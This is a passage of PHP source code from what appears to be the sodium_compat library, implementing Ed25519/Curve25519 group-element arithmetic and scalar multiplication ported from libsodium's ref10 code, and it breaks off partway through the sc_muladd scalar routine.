* * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayOffset */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) (1 & ( self::chrToInt($a[$i >> 3]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_madd( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_msub( ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached * @throws SodiumException * @throws TypeError */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9]) ) ); } /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2( $p->X, $p->Y, $p->Z ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int * @psalm-suppress MixedReturnStatement */ public static function equal($b, $c) { $b0 = $b & 0xffff; $b1 = ($b >> 16) & 0xffff; $c0 = $c & 0xffff; $c1 = ($c >> 16) & 0xffff; $d0 = (($b0 ^ $c0) - 1) >> 31; $d1 = (($b1 ^ $c1) - 1) >> 31; return ($d0 & $d1) & 1; } /** * @internal You should not use this directly from another application * * @param string|int $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return $char < 0 ? 1 : 0; } /** @var string $char */ $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 31); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError */ public static function cmov( ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedArgument */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9]) ) ) ); } } } if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], -self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, -$bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_sub( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); static $Bi = array(); /** @var array $Bi */ if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9]) ) ), ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]), ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9]) ) ) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } /** @var array $Ai */ # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } /** @var array $Bi */ # if (bslide[i] > 0) { if ($bslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor($bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_madd($t, $u, $thisB); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */ $thisB = $Bi[$index]; $t = self::ge_msub($t, $u, $thisB); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand * @throws SodiumException * @throws TypeError */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { /** @var int $dbl */ $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } /** @var int $carry */ $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } /** @var array $e */ $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws SodiumException * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3))); $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5)); $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2)); $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7)); $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4)); $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1)); $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6)); $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3)); $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3))); $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5)); $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2)); $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7)); $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3))); $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5)); $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2)); $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7)); $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4)); $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1)); $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6)); $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3)); $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3))); $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5)); $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2)); $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7)); $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3))); $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 